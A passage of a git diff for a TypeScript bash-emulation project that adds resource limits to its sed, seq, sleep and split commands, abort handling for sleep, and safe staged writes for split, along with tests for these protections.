+    private readonly maxInputLength: number = 1024 * 1024,
+    private readonly maxTokens: number = 100_000,
+  ) {
     this.input = input;
   }
 
   tokenize(): SedToken[] {
+    if (this.input.length > this.maxInputLength) {
+      throw new ExecutionLimitError(
+        `sed: script size limit exceeded (${this.maxInputLength} bytes)`,
+        "string_length",
+      );
+    }
     const tokens: SedToken[] = [];
     while (this.pos < this.input.length) {
       const token = this.nextToken();
       if (token) {
+        if (tokens.length >= this.maxTokens - 1) {
+          throw new ExecutionLimitError(
+            `sed: token limit exceeded (${this.maxTokens})`,
+            "array_elements",
+          );
+        }
         tokens.push(token);
       }
     }
diff --git a/packages/just-bash/src/commands/sed/parser.ts b/packages/just-bash/src/commands/sed/parser.ts
index 757ff38e..73be996e 100644
--- a/packages/just-bash/src/commands/sed/parser.ts
+++ b/packages/just-bash/src/commands/sed/parser.ts
@@ -1,5 +1,7 @@
 // Parser for sed scripts using lexer-based tokenization
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 import { SedLexer, type SedToken, SedTokenType } from "./lexer.js";
 import type { AddressRange, SedAddress, SedCommand } from "./types.js";
 
@@ -16,6 +18,10 @@ class SedParser {
   constructor(
     private scripts: string[],
     extendedRegex = false,
+    private readonly limits?: {
+      maxStringLength: number;
+      maxArrayElements: number;
+    },
   ) {
     this.extendedRegex = extendedRegex;
   }
@@ -24,7 +30,11 @@ class SedParser {
     const allCommands: SedCommand[] = [];
 
     for (const script of this.scripts) {
-      const lexer = new SedLexer(script);
+      const lexer = new SedLexer(
+        script,
+        this.limits?.maxStringLength,
+        this.limits?.maxArrayElements,
+      );
       this.tokens = lexer.tokenize();
       this.pos = 0;
 
@@ -491,12 +501,31 @@ class SedParser {
 export function parseMultipleScripts(
   scripts: string[],
   extendedRegex = false,
+  limits?: { maxStringLength: number; maxArrayElements: number },
 ): {
   commands: SedCommand[];
   error?: string;
   silentMode?: boolean;
   extendedRegexMode?: boolean;
 } {
+  if (limits) {
+    if (scripts.length > limits.maxArrayElements) {
+      throw new ExecutionLimitError(
+        `sed: script count limit exceeded (${limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    let combinedBytes = Math.max(0, scripts.length - 1);
+    for (const script of scripts) {
+      combinedBytes += utf8ByteLength(script);
+      if (combinedBytes > limits.maxStringLength) {
+        throw new ExecutionLimitError(
+          `sed: script size limit exceeded (${limits.maxStringLength} bytes)`,
+          "string_length",
+        );
+      }
+    }
+  }
   // Check for #n or #r special comments at the start of the first script
   let silentMode = false;
   let extendedRegexFromComment = false;
@@ -544,6 +573,7 @@ export function parseMultipleScripts(
   const parser = new SedParser(
     [combinedScript],
     extendedRegex || extendedRegexFromComment,
+    limits,
   );
   const result = parser.parse();
 
diff --git a/packages/just-bash/src/commands/sed/sed.test.ts b/packages/just-bash/src/commands/sed/sed.test.ts
index ee55cba7..b189c8ab 100644
--- a/packages/just-bash/src/commands/sed/sed.test.ts
+++ b/packages/just-bash/src/commands/sed/sed.test.ts
@@ -10,6 +10,16 @@ describe("sed lexer", () => {
     const tokenTypes = tokens.map((t) => t.type);
     expect(tokenTypes).toContain(SedTokenType.RELATIVE_OFFSET);
   });
+
+  it("rejects token amplification before filling the token array", () => {
+    const lexer = new SedLexer(";;;;;", 100, 4);
+    expect(() => lexer.tokenize()).toThrow("sed: token limit exceeded (4)");
+  });
+
+  it("rejects scripts above the configured input limit", () => {
+    const lexer = new SedLexer("12345", 4, 100);
+    expect(() => lexer.tokenize()).toThrow("sed: script size limit exceeded");
+  });
 });
 
 describe("sed parser", () => {
@@ -31,6 +41,13 @@ describe("sed command", () => {
       cwd: "/test",
     });
 
+  it("enforces maxArrayElements during tokenization", async () => {
+    const env = new Bash({ executionLimits: { maxArrayElements: 4 } });
+    const result = await env.exec("sed ';;;;;'");
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("sed: token limit exceeded");
+  });
+
   it("should replace first occurrence per line", async () => {
     const env = createEnv();
     const result = await env.exec("sed 's/hello/hi/' /test/file.txt");
diff --git a/packages/just-bash/src/commands/sed/sed.ts b/packages/just-bash/src/commands/sed/sed.ts
index b648b3eb..5a69ad3c 100644
--- a/packages/just-bash/src/commands/sed/sed.ts
+++ b/packages/just-bash/src/commands/sed/sed.ts
@@ -8,10 +8,10 @@ import {
 } from "../../security/defense-context.js";
 import { SecurityViolationError } from "../../security/defense-in-depth-box.js";
 import type {
-  Command,
-  CommandContext,
   ExecResult,
   FeatureCoverageWriter,
+  RuntimeCommand,
+  RuntimeCommandContext,
 } from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 import {
@@ -74,7 +74,7 @@ Addresses:
 interface ProcessContentOptions {
   limits?: Required<ExecutionLimits>;
   filename?: string;
-  fs?: CommandContext["fs"];
+  fs?: RuntimeCommandContext["fs"];
   cwd?: string;
   coverage?: FeatureCoverageWriter;
   requireDefenseContext?: boolean;
@@ -340,9 +340,12 @@ async function processContent(
   return { output, exitCode };
 }
 
-export const sedCommand: Command = {
+export const sedCommand: RuntimeCommand = {
   name: "sed",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     assertDefenseContext(ctx.requireDefenseContext, "sed", "execution entry");
     const withDefenseContext = <T>(
       phase: string,
@@ -460,6 +463,7 @@ export const sedCommand: Command = {
     const { commands, error, silentMode } = parseMultipleScripts(
       scripts,
       extendedRegex,
+      ctx.limits,
     );
     if (error) {
       return {
diff --git a/packages/just-bash/src/commands/seq/seq.test.ts b/packages/just-bash/src/commands/seq/seq.test.ts
index 2a97a223..1a671734 100644
--- a/packages/just-bash/src/commands/seq/seq.test.ts
+++ b/packages/just-bash/src/commands/seq/seq.test.ts
@@ -116,6 +116,27 @@ describe("seq", () => {
   });
 
   describe("error cases", () => {
+    it("rejects separator-amplified output before joining", async () => {
+      const env = new Bash({ executionLimits: { maxOutputSize: 16 } });
+      const result = await env.exec("seq -s 12345678 3");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("output size limit exceeded");
+    });
+
+    it("enforces the configured iteration limit", async () => {
+      const env = new Bash({ executionLimits: { maxLoopIterations: 2 } });
+      const result = await env.exec("seq 3");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("iteration limit exceeded");
+    });
+
+    it("rejects non-finite operands", async () => {
+      const env = new Bash();
+      const result = await env.exec("seq Infinity");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("invalid floating point argument");
+    });
+
     it("should error on missing operand", async () => {
       const env = new Bash();
       const result = await env.exec("seq");
diff --git a/packages/just-bash/src/commands/seq/seq.ts b/packages/just-bash/src/commands/seq/seq.ts
index 2968edb8..b5b31cca 100644
--- a/packages/just-bash/src/commands/seq/seq.ts
+++ b/packages/just-bash/src/commands/seq/seq.ts
@@ -1,4 +1,15 @@
-import type { Command, ExecResult } from "../../types.js";
+import {
+  boundedJoin,
+  checkedAdd,
+  checkedMultiply,
+} from "../../bounded-builder.js";
+import { utf8ByteLength } from "../../encoding.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 /**
  * seq - print a sequence of numbers
@@ -12,10 +23,13 @@ import type { Command, ExecResult } from "../../types.js";
  *   -s STRING  use STRING to separate numbers (default: newline)
  *   -w         equalize width by padding with leading zeros
  */
-export const seqCommand: Command = {
+export const seqCommand: RuntimeCommand = {
   name: "seq",
 
-  async execute(args: string[]): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     let separator = "\n";
     let equalizeWidth = false;
     const nums: string[] = [];
@@ -94,8 +108,12 @@ export const seqCommand: Command = {
     }
 
     // Validate numbers
-    if (Number.isNaN(first) || Number.isNaN(increment) || Number.isNaN(last)) {
-      const invalid = nums.find((n) => Number.isNaN(parseFloat(n)));
+    if (
+      !Number.isFinite(first) ||
+      !Number.isFinite(increment) ||
+      !Number.isFinite(last)
+    ) {
+      const invalid = nums.find((n) => !Number.isFinite(parseFloat(n)));
       return {
         stdout: "",
         stderr: `seq: invalid floating point argument: '${invalid}'\n`,
@@ -128,20 +146,54 @@ export const seqCommand: Command = {
     );
 
     // Limit iterations to prevent infinite loops
-    const maxIterations = 100000;
+    const maxIterations = Math.min(
+      ctx.limits.maxLoopIterations,
+      ctx.limits.maxArrayElements,
+    );
+    const maxOutputSize = Math.min(
+      ctx.limits.maxOutputSize,
+      ctx.limits.maxStringLength,
+    );
+    const separatorBytes = utf8ByteLength(separator);
+    let projectedOutputBytes = 0;
     let iterations = 0;
 
+    const appendResult = (value: string): void => {
+      if (iterations >= maxIterations) {
+        throw new ExecutionLimitError(
+          `seq: iteration limit exceeded (${maxIterations})`,
+          "iterations",
+        );
+      }
+      const nextSize = checkedAdd(
+        checkedAdd(
+          projectedOutputBytes,
+          results.length > 0 ? separatorBytes : 0,
+          "seq",
+        ),
+        checkedAdd(utf8ByteLength(value), 1, "seq"),
+        "seq",
+      );
+      if (nextSize > maxOutputSize) {
+        throw new ExecutionLimitError(
+          `seq: output size limit exceeded (${maxOutputSize} bytes)`,
+          "output_size",
+        );
+      }
+      projectedOutputBytes = nextSize - 1;
+      results.push(value);
+      iterations++;
+    };
+
     if (increment > 0) {
       for (let n = first; n <= last + 1e-10; n += increment) {
-        if (iterations++ > maxIterations) break;
-        results.push(
+        appendResult(
           precision > 0 ? n.toFixed(precision) : String(Math.round(n)),
         );
       }
     } else {
       for (let n = first; n >= last - 1e-10; n += increment) {
-        if (iterations++ > maxIterations) break;
-        results.push(
+        appendResult(
           precision > 0 ? n.toFixed(precision) : String(Math.round(n)),
         );
       }
@@ -149,7 +201,37 @@ export const seqCommand: Command = {
 
     // Equalize width if requested
     if (equalizeWidth && results.length > 0) {
-      const maxLen = Math.max(...results.map((r) => r.replace("-", "").length));
+      let maxLen = 0;
+      for (const result of results) {
+        maxLen = Math.max(
+          maxLen,
+          result.startsWith("-") ? result.length - 1 : result.length,
+        );
+      }
+      const valuesBytes = results.reduce(
+        (total, result) =>
+          checkedAdd(total, maxLen + (result.startsWith("-") ? 1 : 0), "seq"),
+        0,
+      );
+      const paddedOutputBytes = checkedAdd(
+        checkedAdd(
+          valuesBytes,
+          checkedMultiply(
+            separatorBytes,
+            Math.max(0, results.length - 1),
+            "seq",
+          ),
+          "seq",
+        ),
+        1,
+        "seq",
+      );
+      if (paddedOutputBytes > maxOutputSize) {
+        throw new ExecutionLimitError(
+          `seq: output size limit exceeded (${maxOutputSize} bytes)`,
+          "output_size",
+        );
+      }
       for (let j = 0; j < results.length; j++) {
         const isNegative = results[j].startsWith("-");
         const num = isNegative ? results[j].slice(1) : results[j];
@@ -158,7 +240,7 @@ export const seqCommand: Command = {
       }
     }
 
-    const output = results.join(separator);
+    const output = boundedJoin(results, separator, maxOutputSize - 1, "seq");
     return {
       stdout: output ? `${output}\n` : "",
       stderr: "",
diff --git a/packages/just-bash/src/commands/sleep/sleep.test.ts b/packages/just-bash/src/commands/sleep/sleep.test.ts
index 38e3dd5a..b7f11cf5 100644
--- a/packages/just-bash/src/commands/sleep/sleep.test.ts
+++ b/packages/just-bash/src/commands/sleep/sleep.test.ts
@@ -28,6 +28,32 @@ describe("sleep command", () => {
       expect(result.exitCode).toBe(0);
       expect(sleptMs).toBe(500);
     });
+
+    it("should stop awaiting a host sleep hook when execution is aborted", async () => {
+      const controller = new AbortController();
+      const env = new Bash({
+        sleep: async () => new Promise<void>(() => {}),
+      });
+
+      const execution = env.exec("sleep 10", { signal: controller.signal });
+      controller.abort();
+
+      await expect(execution).resolves.toMatchObject({ exitCode: 124 });
+    });
+
+    it("should observe an abort triggered synchronously by the host hook", async () => {
+      const controller = new AbortController();
+      const env = new Bash({
+        sleep: async () => {
+          controller.abort();
+          return new Promise<void>(() => {});
+        },
+      });
+
+      await expect(
+        env.exec("sleep 10", { signal: controller.signal }),
+      ).resolves.toMatchObject({ exitCode: 124 });
+    });
   });
 
   describe("duration suffixes", () => {
diff --git a/packages/just-bash/src/commands/sleep/sleep.ts b/packages/just-bash/src/commands/sleep/sleep.ts
index f6b2d544..669d1dce 100644
--- a/packages/just-bash/src/commands/sleep/sleep.ts
+++ b/packages/just-bash/src/commands/sleep/sleep.ts
@@ -1,5 +1,9 @@
 import { _clearTimeout, _setTimeout } from "../../timers.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseDuration } from "../duration.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -20,10 +24,13 @@ NUMBER may be a decimal number.`,
 /** Maximum sleep duration: 1 hour (prevents DoS via indefinite blocking) */
 const MAX_SLEEP_MS = 3_600_000;
 
-export const sleepCommand: Command = {
+export const sleepCommand: RuntimeCommand = {
   name: "sleep",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(sleepHelp);
     }
@@ -62,7 +69,30 @@ export const sleepCommand: Command = {
 
     // Use mock sleep if available in context, otherwise real setTimeout
     if (ctx.sleep) {
-      await ctx.sleep(totalMs);
+      const sleepPromise = Promise.resolve(ctx.sleep(totalMs));
+      if (ctx.signal) {
+        let onAbort: (() => void) | undefined;
+        const abortPromise = new Promise<void>((resolve) => {
+          onAbort = resolve;
+          ctx.signal?.addEventListener("abort", onAbort, { once: true });
+          // The host hook is invoked before this listener is installed and may
+          // synchronously abort the execution.
+          if (ctx.signal?.aborted) resolve();
+        });
+        try {
+          // A host-provided sleep hook may not know about cancellation. Stop
+          // awaiting it when execution is aborted so timeout can fully unwind
+          // the child pipeline before its parent execution scope closes. The
+          // race keeps a rejection handler attached to the abandoned promise.
+          await Promise.race([sleepPromise, abortPromise]);
+        } finally {
+          if (onAbort) {
+            ctx.signal.removeEventListener("abort", onAbort);
+          }
+        }
+      } else {
+        await sleepPromise;
+      }
     } else if (ctx.signal) {
       // Abort-aware sleep: resolve early if the signal fires.
       // Named handler so we can remove it when the timer resolves normally.
diff --git a/packages/just-bash/src/commands/sort/sort.ts b/packages/just-bash/src/commands/sort/sort.ts
index c420c6a3..1e285c93 100644
--- a/packages/just-bash/src/commands/sort/sort.ts
+++ b/packages/just-bash/src/commands/sort/sort.ts
@@ -1,5 +1,9 @@
 import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { readAndConcat } from "../../utils/file-reader.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 import { createComparator, filterUnique } from "./comparator.js";
@@ -40,9 +44,12 @@ Examples:
   -k2 -k1    sort by field 2, then by field 1`,
 };
 
-export const sortCommand: Command = {
+export const sortCommand: RuntimeCommand = {
   name: "sort",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(sortHelp);
     }
diff --git a/packages/just-bash/src/commands/split/split.test.ts b/packages/just-bash/src/commands/split/split.test.ts
index 16c69150..c1f61f1f 100644
--- a/packages/just-bash/src/commands/split/split.test.ts
+++ b/packages/just-bash/src/commands/split/split.test.ts
@@ -1,7 +1,156 @@
-import { describe, expect, it } from "vitest";
+import * as nodeFs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
+import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
+import { ReadWriteFs } from "../../fs/read-write-fs/read-write-fs.js";
+
+const temporaryRoots: string[] = [];
+
+afterEach(() => {
+  for (const root of temporaryRoots.splice(0)) {
+    nodeFs.rmSync(root, { recursive: true, force: true });
+  }
+});
 
 describe("split", () => {
+  it("rejects input plus transactional staging above maxLiveBytes", async () => {
+    const bash = new Bash({
+      files: { "/input": "x".repeat(40) },
+      executionLimits: { maxInputBytes: 1_000, maxLiveBytes: 64 },
+    });
+
+    const result = await bash.exec("split -b 10 /input /part-");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toMatch(
+      /split: live byte limit exceeded \(64 bytes\)/,
+    );
+    expect(await bash.fs.exists("/part-aa")).toBe(false);
+  });
+  describe("destructive-write preflight", () => {
+    it("rejects an output name that aliases the input before writing", async () => {
+      const bash = new Bash({ files: { "/xaa": "original" } });
+      const result = await bash.exec("split -b 1 /xaa x");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("would overwrite input");
+      expect(await bash.readFile("/xaa")).toBe("original");
+      await expect(bash.readFile("/xab")).rejects.toThrow();
+    });
+
+    it("rejects alphabetic suffix exhaustion before overwriting files", async () => {
+      const bash = new Bash({
+        files: { "/input": "x".repeat(27), "/xa": "preserve" },
+      });
+      const result = await bash.exec("split -a 1 -b 1 /input x");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("suffixes exhausted");
+      expect(await bash.readFile("/xa")).toBe("preserve");
+    });
+
+    it("rejects extra positional operands", async () => {
+      const bash = new Bash({ files: { "/input": "data" } });
+      const result = await bash.exec("split /input x ignored");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("extra operand");
+      await expect(bash.readFile("/xaa")).rejects.toThrow();
+    });
+
+    it("preserves arbitrary bytes across chunk boundaries", async () => {
+      const bash = new Bash({
+        files: { "/input": new Uint8Array([0, 0x7f, 0x80, 0xff, 10]) },
+      });
+      const result = await bash.exec("split -b 2 /input out-");
+      expect(result.exitCode).toBe(0);
+      const chunks = await Promise.all([
+        bash.fs.readFileBuffer("/out-aa"),
+        bash.fs.readFileBuffer("/out-ab"),
+        bash.fs.readFileBuffer("/out-ac"),
+      ]);
+      expect(Array.from(chunks.flatMap((chunk) => Array.from(chunk)))).toEqual([
+        0, 0x7f, 0x80, 0xff, 10,
+      ]);
+    });
+
+    it.each([
+      ["alphabetic", "split -b 2 /input /x", "xaa", "xab"],
+      ["numeric", "split -d -b 2 /input /x", "x00", "x01"],
+      [
+        "additional suffix",
+        "split --additional-suffix=.part -b 2 /input /x",
+        "xaa.part",
+        "xab.part",
+      ],
+    ])("does not truncate a real-backed input through a %s hard-link alias", async (_mode, command, firstOutput, secondOutput) => {
+      const root = nodeFs.mkdtempSync(
+        path.join(os.tmpdir(), "split-hardlink-"),
+      );
+      temporaryRoots.push(root);
+      nodeFs.writeFileSync(path.join(root, "input"), "abcdef");
+      nodeFs.linkSync(path.join(root, "input"), path.join(root, firstOutput));
+      const bash = new Bash({
+        fs: new ReadWriteFs({ root, allowSymlinks: true }),
+      });
+
+      const result = await bash.exec(command);
+
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("would overwrite input");
+      expect(nodeFs.readFileSync(path.join(root, "input"), "utf8")).toBe(
+        "abcdef",
+      );
+      expect(nodeFs.readFileSync(path.join(root, firstOutput), "utf8")).toBe(
+        "abcdef",
+      );
+      expect(nodeFs.existsSync(path.join(root, secondOutput))).toBe(false);
+    });
+
+    it("rolls back every visible output when a staged commit fails", async () => {
+      class FailingCommitFs extends InMemoryFs {
+        private moves = 0;
+
+        override async mv(source: string, destination: string): Promise<void> {
+          this.moves++;
+          if (this.moves === 4) throw new Error("injected rename failure");
+          return super.mv(source, destination);
+        }
+      }
+
+      const fs = new FailingCommitFs({
+        "/input": "abcd",
+        "/xaa": "old-a",
+        "/xab": "old-b",
+      });
+      const bash = new Bash({ fs });
+
+      const result = await bash.exec("split -b 2 /input /x");
+
+      expect(result.exitCode).toBe(1);
+      expect(await fs.readFile("/input")).toBe("abcd");
+      expect(await fs.readFile("/xaa")).toBe("old-a");
+      expect(await fs.readFile("/xab")).toBe("old-b");
+      expect(
+        (await fs.readdir("/")).filter((name) =>
+          name.includes(".just-bash-split-"),
+        ),
+      ).toEqual([]);
+    });
+
+    it("rejects two output names with the same stable identity", async () => {
+      const fs = new InMemoryFs({ "/xaa": "preserve" });
+      await fs.link("/xaa", "/xab");
+      const bash = new Bash({ fs });
+
+      const result = await bash.exec("printf abcd | split -b 2 - /x");
+
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("duplicate output file");
+      expect(await fs.readFile("/xaa")).toBe("preserve");
+      expect(await fs.readFile("/xab")).toBe("preserve");
+    });
+  });
+
   describe("basic functionality", () => {
     it("splits file into 1000-line chunks by default", async () => {
       // Create a file with 2500 lines
@@ -289,6 +438,13 @@ describe("split", () => {
       expect(result.exitCode).toBe(1);
       expect(result.stderr).toContain("invalid suffix length");
     });
+
+    it("rejects suffix lengths that would monopolize the event loop", async () => {
+      const bash = new Bash({ executionLimits: { maxArrayElements: 4 } });
+      const result = await bash.exec("echo test | split -a 5");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("invalid suffix length");
+    });
   });
 
   describe("--additional-suffix option", () => {
diff --git a/packages/just-bash/src/commands/split/split.ts b/packages/just-bash/src/commands/split/split.ts
index dabbced4..69af87f2 100644
--- a/packages/just-bash/src/commands/split/split.ts
+++ b/packages/just-bash/src/commands/split/split.ts
@@ -7,8 +7,19 @@
  * default size is 1000 lines, and default PREFIX is 'x'.
  */
 
-import { latin1FromBytes, readBytesFrom } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { latin1FromBytes, utf8ByteLength } from "../../encoding.js";
+import type { ResourceLease } from "../../execution-scope.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import {
+  type ResolvedFileIdentity,
+  resolveFileIdentity,
+} from "../../fs/traversal.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const splitHelp = {
@@ -36,6 +47,11 @@ const splitHelp = {
 
 /** Maximum number of output files to prevent resource exhaustion */
 const MAX_OUTPUT_FILES = 100_000;
+let splitTransactionId = 0;
+
+function toUint8Array(content: string): Uint8Array {
+  return Uint8Array.from(content, (char) => char.charCodeAt(0));
+}
 
 type SplitMode = "lines" | "bytes" | "chunks";
 
@@ -58,8 +74,8 @@ function parseSize(sizeStr: string): number | null {
     return null;
   }
 
-  const num = Number.parseInt(match[1], 10);
-  if (Number.isNaN(num) || num < 1) {
+  const num = Number(match[1]);
+  if (!Number.isSafeInteger(num) || num < 1) {
     return null;
   }
 
@@ -78,9 +94,16 @@ function parseSize(sizeStr: string): number | null {
     return null;
   }
 
+  if (num > Math.floor(Number.MAX_SAFE_INTEGER / multiplier)) return null;
   return num * multiplier;
 }
 
+function parsePositiveSafeInteger(value: string): number | null {
+  if (!/^[0-9]+$/.test(value)) return null;
+  const parsed = Number(value);
+  return Number.isSafeInteger(parsed) && parsed >= 1 ? parsed : null;
+}
+
 /**
  * Generate suffix for a given index.
  * For alphabetic: aa, ab, ..., az, ba, bb, ..., zz, aaa, aab, ...
@@ -97,100 +120,132 @@ function generateSuffix(
 
   // Alphabetic suffix
   const chars = "abcdefghijklmnopqrstuvwxyz";
-  let suffix = "";
+  const suffix = new Array<string>(length);
   let remaining = index;
 
-  for (let i = 0; i < length; i++) {
-    suffix = chars[remaining % 26] + suffix;
+  for (let i = length - 1; i >= 0; i--) {
+    suffix[i] = chars[remaining % 26];
     remaining = Math.floor(remaining / 26);
   }
 
-  return suffix;
+  return suffix.join("");
 }
 
 /**
  * Split content by lines.
  */
-function splitByLines(
-  content: string,
-  linesPerFile: number,
-): { content: string; hasContent: boolean }[] {
-  const lines = content.split("\n");
-  const hasTrailingNewline =
-    content.endsWith("\n") && lines[lines.length - 1] === "";
-  if (hasTrailingNewline) {
-    lines.pop();
-  }
-
-  const chunks: { content: string; hasContent: boolean }[] = [];
-
-  for (let i = 0; i < lines.length; i += linesPerFile) {
-    const chunkLines = lines.slice(i, i + linesPerFile);
-    const isLastChunk = i + linesPerFile >= lines.length;
-    // Add newline after each line, but for the last chunk only if original had trailing newline
-    const chunkContent =
-      isLastChunk && !hasTrailingNewline
-        ? chunkLines.join("\n")
-        : `${chunkLines.join("\n")}\n`;
-    chunks.push({ content: chunkContent, hasContent: true });
+function splitByLines(content: Uint8Array, linesPerFile: number): Uint8Array[] {
+  const chunks: Uint8Array[] = [];
+  let start = 0;
+  let lines = 0;
+  for (let i = 0; i < content.length; i++) {
+    if (content[i] !== 0x0a) continue;
+    lines++;
+    if (lines === linesPerFile) {
+      chunks.push(content.subarray(start, i + 1));
+      start = i + 1;
+      lines = 0;
+    }
   }
-
+  if (start < content.length) chunks.push(content.subarray(start));
   return chunks;
 }
 
 /**
  * Split content by bytes.
  */
-function splitByBytes(
-  content: string,
-  bytesPerFile: number,
-): { content: string; hasContent: boolean }[] {
-  const encoder = new TextEncoder();
-  const bytes = encoder.encode(content);
-  const decoder = new TextDecoder();
-  const chunks: { content: string; hasContent: boolean }[] = [];
-
-  for (let i = 0; i < bytes.length; i += bytesPerFile) {
-    const chunkBytes = bytes.slice(i, i + bytesPerFile);
-    chunks.push({
-      content: decoder.decode(chunkBytes),
-      hasContent: chunkBytes.length > 0,
-    });
-  }
-
+function splitByBytes(content: Uint8Array, bytesPerFile: number): Uint8Array[] {
+  const chunks: Uint8Array[] = [];
+  for (let i = 0; i < content.length; i += bytesPerFile)
+    chunks.push(content.subarray(i, i + bytesPerFile));
   return chunks;
 }
 
 /**
  * Split content into N equal chunks.
  */
-function splitIntoChunks(
-  content: string,
-  numChunks: number,
-): { content: string; hasContent: boolean }[] {
-  const encoder = new TextEncoder();
-  const bytes = encoder.encode(content);
-  const decoder = new TextDecoder();
-  const chunks: { content: string; hasContent: boolean }[] = [];
-
-  const bytesPerChunk = Math.ceil(bytes.length / numChunks);
+function splitIntoChunks(content: Uint8Array, numChunks: number): Uint8Array[] {
+  const chunks: Uint8Array[] = [];
+  const bytesPerChunk = Math.ceil(content.length / numChunks);
 
   for (let i = 0; i < numChunks; i++) {
     const start = i * bytesPerChunk;
-    const end = Math.min(start + bytesPerChunk, bytes.length);
-    const chunkBytes = bytes.slice(start, end);
-    chunks.push({
-      content: decoder.decode(chunkBytes),
-      hasContent: chunkBytes.length > 0,
-    });
+    const end = Math.min(start + bytesPerChunk, content.length);
+    if (start < end) chunks.push(content.subarray(start, end));
   }
-
   return chunks;
 }
 
-export const split: Command = {
+function suffixCapacity(numeric: boolean, length: number): number {
+  const capacity = numeric ? 10 ** length : 26 ** length;
+  return Number.isSafeInteger(capacity) ? capacity : Number.MAX_SAFE_INTEGER;
+}
+
+interface PlannedOutput {
+  readonly path: string;
+  readonly displayName: string;
+  readonly content: Uint8Array;
+  readonly initialIdentity: ResolvedFileIdentity;
+  stagePath: string;
+  backupPath?: string;
+  committed: boolean;
+}
+
+function identityKey(identity: ResolvedFileIdentity): string | undefined {
+  if (identity.existence === "unknown") return undefined;
+  if (identity.existence === "existing") return identity.stableIdentity;
+  return identity.canonicalPath === undefined
+    ? undefined
+    : `missing:${identity.canonicalPath}`;
+}
+
+function identityUnchanged(
+  initial: ResolvedFileIdentity,
+  current: ResolvedFileIdentity,
+): boolean {
+  if (initial.existence !== current.existence) return false;
+  if (initial.existence === "unknown" || current.existence === "unknown") {
+    return false;
+  }
+  if (initial.existence === "missing" && current.existence === "missing") {
+    return initial.canonicalPath === current.canonicalPath;
+  }
+  if (initial.existence === "existing" && current.existence === "existing") {
+    return (
+      initial.stableIdentity !== undefined &&
+      initial.stableIdentity === current.stableIdentity
+    );
+  }
+  return false;
+}
+
+async function uniqueSiblingPath(
+  ctx: RuntimeCommandContext,
+  outputPath: string,
+  purpose: "stage" | "backup",
+): Promise<string> {
+  const slash = outputPath.lastIndexOf("/");
+  const parent = slash <= 0 ? "/" : outputPath.slice(0, slash);
+  const basename = outputPath.slice(slash + 1);
+  for (let attempts = 0; attempts < 100; attempts++) {
+    const id = splitTransactionId++;
+    const candidate = ctx.fs.resolvePath(
+      parent,
+      `.${basename}.just-bash-split-${purpose}-${id}`,
+    );
+    const identity = await resolveFileIdentity(ctx.fs, candidate);
+    if (identity.existence === "missing") return candidate;
+    if (identity.existence === "unknown") break;
+  }
+  throw new Error("unable to allocate transaction path");
+}
+
+export const split: RuntimeCommand = {
   name: "split",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(splitHelp);
     }
@@ -212,8 +267,8 @@ export const split: Command = {
       const arg = args[i];
 
       if (arg === "-l" && i + 1 < args.length) {
-        const lines = Number.parseInt(args[i + 1], 10);
-        if (Number.isNaN(lines) || lines < 1) {
+        const lines = parsePositiveSafeInteger(args[i + 1]);
+        if (lines === null) {
           return {
             exitCode: 1,
             stdout: "",
@@ -224,8 +279,8 @@ export const split: Command = {
         options.lines = lines;
         i += 2;
       } else if (arg.match(/^-l\d+$/)) {
-        const lines = Number.parseInt(arg.slice(2), 10);
-        if (Number.isNaN(lines) || lines < 1) {
+        const lines = parsePositiveSafeInteger(arg.slice(2));
+        if (lines === null) {
           return {
             exitCode: 1,
             stdout: "",
@@ -260,8 +315,8 @@ export const split: Command = {
         options.bytes = bytes;
         i++;
       } else if (arg === "-n" && i + 1 < args.length) {
-        const chunks = Number.parseInt(args[i + 1], 10);
